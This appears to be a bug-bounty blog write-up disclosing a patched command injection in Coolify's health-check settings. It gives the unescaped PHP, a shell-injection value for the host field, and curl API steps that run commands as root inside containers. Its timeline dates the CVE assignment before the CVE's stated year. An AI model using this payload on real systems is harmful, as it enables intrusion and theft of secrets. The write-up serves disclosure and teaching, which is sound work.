July 11, 2026
How I Found an OS Command Injection (RCE) in Coolify

By CyberTechAjju
6 min read
A health check that was anything but healthy.
Hey everyone, CyberTechAjju here. π
So, I got my second CVE β and this time it's a Remote Code Execution in Coolify, a platform used by thousands of developers to deploy their applications. Let me walk you through the entire journey β how I found it, how the exploit works, and what you can learn from it.
Grab your chai. β This is going to be a good one.
What is Coolify?
Before we dive in, let me give you some context.
Coolify (https://coolify.io) is an open-source, self-hostable deployment platform β basically a free alternative to Heroku, Vercel, and Netlify. You install it on your own server and use it to deploy websites, APIs, databases, anything really.
It has 60,000+ stars on GitHub and is actively used by developers worldwide. It's a legit, production-grade tool.
So when you find an RCE in something like this⦠yeah, it's a big deal.
The Discovery
After getting my first CVE (a critical JWT signature bypass in Nextcloud), I was on a roll. The confidence hit different. I started looking at other open-source platforms that handle deployments and infrastructure, because these tools often have features that interact with the operating system β and that's where OS-level bugs hide.
I stumbled upon Coolify's source code on GitHub and started doing what I always do β reading code. Not scanning. Not running tools. Just reading.
"The best scanner in the world is still your brain. Tools find the low-hanging fruit. Your eyes find the CVEs."
I was going through the deployment pipeline code and landed on a file called ApplicationDeploymentJob.php. This file handles everything that happens when you deploy an application β pulling code, building images, configuring health checks, etc.
And that's where I saw it.
The Vulnerability β Explained Simply
What's a Health Check?
When you deploy an app, Coolify needs to know if your app is actually running. So it periodically sends a request to your app β like pinging it β to check if it's alive. This is called a health check.
The user configures a few things:
-
Host β usually localhost
-
Method β GET, POST, etc.
-
Path β like /health or /api/status
Coolify takes these values and builds a shell command to run inside the Docker container:
curl -s -X GET -f http://localhost:8080/health > /dev/null || exit 1curl -s -X GET -f http://localhost:8080/health > /dev/null || exit 1Simple enough. The problem? Coolify was putting user input directly into this shell command without any sanitization.
The Analogy
Think of it like this: You walk into a hotel and the receptionist asks, "What name should I write on the form?"
You say: "John; also give me the master key to all rooms."
And the receptionist just⦠writes it and does it. No questions, no verification. That's what was happening here.
Technical Deep Dive
File: app/Jobs/ApplicationDeploymentJob.php
Function: generate_healthcheck_commands()
Lines: 2762β2768
Here's the vulnerable code:
private function generate_healthcheck_commands()
{
if (! $this->application->health_check_port) {
$health_check_port = $this->application->ports_exposes_array[0];
} else {
$health_check_port = $this->application->health_check_port;
}
if ($this->application->health_check_path) {
$generated_healthchecks_commands = [
"curl -s -X {$this->application->health_check_method} -f " .
"{$this->application->health_check_scheme}://" .
"{$this->application->health_check_host}:" .
"{$health_check_port}" .
"{$this->application->health_check_path} > /dev/null || exit 1",
];
}
// ...
}private function generate_healthcheck_commands()
{
if (! $this->application->health_check_port) {
$health_check_port = $this->application->ports_exposes_array[0];
} else {
$health_check_port = $this->application->health_check_port;
}
if ($this->application->health_check_path) {
$generated_healthchecks_commands = [
"curl -s -X {$this->application->health_check_method} -f " .
"{$this->application->health_check_scheme}://" .
"{$this->application->health_check_host}:" .
"{$health_check_port}" .
"{$this->application->health_check_path} > /dev/null || exit 1",
];
}
// ...
}See those {$this->application->health_check_*} variables? They come directly from user input β whatever the user types in the health check settings or sends through the API. And they're being dropped straight into a shell command string.
No escapeshellarg(). No input validation. No allowlist. Nothing.
The Injection
If an attacker sets health_check_host to:
localhost; id > /tmp/pwned #
The generated command becomes:
curl -s -X GET -f http://localhost; id > /tmp/pwned #:8080/health > /dev/null || exit 1curl -s -X GET -f http://localhost; id > /tmp/pwned #:8080/health > /dev/null || exit 1Let me break down what happens:
1. curl -s -X GET -f http://localhost - First command runs (and fails, but who cares)
2. ; - Shell interprets this as "now run the next command"
3. id > /tmp/pwned - Our injected command - runs id and writes output to a file
4. # - Comments out everything after it, so the rest of the original command is ignored1. curl -s -X GET -f http://localhost - First command runs (and fails, but who cares)
2. ; - Shell interprets this as "now run the next command"
3. id > /tmp/pwned - Our injected command - runs id and writes output to a file
4. # - Comments out everything after it, so the rest of the original command is ignoredThe result? Arbitrary command execution inside the container, as root.
POC β Step by Step
What You Need
- An authenticated Coolify account (any user who can edit applications)
- An API token (you can generate one from your Coolify dashboard)
That's it. No admin privileges required.
Step 1: Inject the Payload
curl -X PATCH "https://YOUR-COOLIFY/api/v1/applications/APP-UUID" \
-H "Authorization: Bearer YOUR-TOKEN" \
-H "Content-Type: application/json" \
-d '{
"health_check_enabled": true,
"health_check_host": "localhost; id > /tmp/pwned #",
"health_check_path": "/health",
"health_check_method": "GET",
"health_check_scheme": "http"
}'
Step 2: Trigger a Deployment
curl -X POST "https://YOUR-COOLIFY/api/v1/applications/APP-UUID/restart" \
-H "Authorization: Bearer YOUR-TOKEN"
The restart triggers a redeployment, which triggers the health check, which executes our injected command.
Step 3: Verify
docker exec <container_name> cat /tmp/pwned
# Output: uid=0(root) gid=0(root) groups=0(root)Step 1: Inject the Payload
curl -X PATCH "https://YOUR-COOLIFY/api/v1/applications/APP-UUID" \
-H "Authorization: Bearer YOUR-TOKEN" \
-H "Content-Type: application/json" \
-d '{
"health_check_enabled": true,
"health_check_host": "localhost; id > /tmp/pwned #",
"health_check_path": "/health",
"health_check_method": "GET",
"health_check_scheme": "http"
}'
Step 2: Trigger a Deployment
curl -X POST "https://YOUR-COOLIFY/api/v1/applications/APP-UUID/restart" \
-H "Authorization: Bearer YOUR-TOKEN"
The restart triggers a redeployment, which triggers the health check, which executes our injected command.
Step 3: Verify
docker exec <container_name> cat /tmp/pwned
# Output: uid=0(root) gid=0(root) groups=0(root)Root access inside the container. AND.
What About the Web UI?
You don't even need the API. You can literally type the payload into the health check settings through the Coolify web interface:
Project β Application β Settings β Health Checks β Host field
Type your payload, save, redeploy. Done.
Impact β Why This Matters
This isn't just a theoretical bug. Here's what an attacker could actually do:
π΄ Remote Code Execution - Run any command inside any deployed container.
π΄ Steal Secrets - Read environment variables containing database passwords, API keys, cloud credentials. Most apps store secrets in env vars. All of them are now exposed.
π΄ Backdoor Applications - Write malicious code into deployed apps. Inject a webshell. Add a hidden admin account. The possibilities are endless.
π΄ Lateral Movement - Once inside one container, attack other containers in the same Docker network. Potentially reach the database container, the cache, or other services.
π Container Escape - If the container runs in privileged mode (which some Coolify setups do), an attacker could escape to the host system.
π‘ Denial of Service - Stop containers, corrupt data, or brick the deployment pipeline.π΄ Remote Code Execution - Run any command inside any deployed container.
π΄ Steal Secrets - Read environment variables containing database passwords, API keys, cloud credentials. Most apps store secrets in env vars. All of them are now exposed.
π΄ Backdoor Applications - Write malicious code into deployed apps. Inject a webshell. Add a hidden admin account. The possibilities are endless.
π΄ Lateral Movement - Once inside one container, attack other containers in the same Docker network. Potentially reach the database container, the cache, or other services.
π Container Escape - If the container runs in privileged mode (which some Coolify setups do), an attacker could escape to the host system.
π‘ Denial of Service - Stop containers, corrupt data, or brick the deployment pipeline.The Scary Part
Any authenticated user could do this. Not just admins β any user with permission to edit an application. In a multi-tenant Coolify setup, this means one rogue user could compromise every other user's containers.
The Fix
The Coolify team fixed this in commit 23f9156c7, released in v4.0.0-beta.469.
The fix is straightforward β all user-controlled values are now passed through escapeshellarg() before being inserted into the shell command. This wraps the input in single quotes and escapes any special characters, preventing shell injection.
Before (vulnerable):
"curl -s -X {$this->application->health_check_method} β¦"
After (patched):
$method = escapeshellarg($this->application->health_check_method);
$host = escapeshellarg($this->application->health_check_host);
// β¦ properly escaped variables used in command"curl -s -X {$this->application->health_check_method} β¦"
After (patched):
$method = escapeshellarg($this->application->health_check_method);
$host = escapeshellarg($this->application->health_check_host);
// β¦ properly escaped variables used in commandIf you're running Coolify, update to v4.0.0-beta.469 or later.
Timeline
Jan 6, 2025 β Vulnerability discovered and reported via GitHub Security Advisory
Jan 16, 2025 β Report accepted by Coolify maintainer
Feb 24, 2025 β Coolify team confirms investigation
Mar 18, 2025 β Fix committed (23f9156c7)
Apr 12, 2025 β Fix confirmed in v4.0.0-beta.469, requested CVE publication
Jul 2025 β Advisory published, CVE-2026β59734 assigned
Total time from report to fix: ~2.5 months. Report to CVE assignment: ~6 months.
"Patience isn't just a virtue in bug bounty β it's a requirement."
What You Can Learn From This
If you're getting into bug bounty or security research, here are some takeaways:
1. Read Source Code
I didn't use any fancy scanner to find this. I opened the PHP file and read it. When you see user input flowing into exec(), system(), shell_exec(), or string-interpolated shell commands β that's your signal.
Useful grep patterns for PHP codebases:
grep -rn "exec(" - include="*.php" .
grep -rn "system(" - include="*.php" .
grep -rn "shell_exec(" - include="*.php" .
grep -rn "proc_open(" - include="*.php" .grep -rn "exec(" - include="*.php" .
grep -rn "system(" - include="*.php" .
grep -rn "shell_exec(" - include="*.php" .
grep -rn "proc_open(" - include="*.php" .2. Look at "Boring" Features
Health checks, cron jobs, webhooks, backup configurations β developers put 90% of their security focus on login and payment flows. The "boring" infrastructure features often get neglected. That's where bugs live.
3. Understand the Fundamentals
If you understand how shell commands work, how string interpolation works, and what characters like ;, |, $(), and backticks do in a shell β you can spot command injection in any language, any framework, any codebase.
4. Be Patient with the Process
My report sat in "accepted" status for months. I followed up politely. I didn't spam. I didn't threaten. And eventually, the fix was made, the CVE was assigned, and everything worked out.
"You don't get CVEs by being aggressive. You get them by being persistent."
Vulnerability Card
Product: Coolify (coollabsio/coolify)
Type: OS Command Injection (CWE-78)
Severity: HIGH β CVSS 8.8
Attack Vector: Network (Authenticated)
Affected Versions: <= v4.0.0-beta.460
Fixed In: >= v4.0.0-beta.469
Advisory: GHSA-4fhp-xqqp-w7vv
Reporter: CyberTechAjju
Final Thoughts
This is my second CVE, and honestly, the excitement doesn't fade. The first one felt like luck. This one felt like skill. The next one? That'll feel like habit.
If you're reading this and you haven't found your first bug yet β don't stop. Read code. Break things (legally). Ask questions. Stay curious.
Every expert was once a beginner who refused to quit.
If you found this writeup helpful, drop a clap π or share it with someone who's learning bug bounty. And if you have questions, my DMs are always open.
KEEP LEARNING KEEP HACKING β‘οΈ
β CyberTechAjju
Disclaimer: This writeup is for educational purposes only. The vulnerability has been patched. Always get explicit authorization before testing any system. Unauthorized access to computer systems is illegal.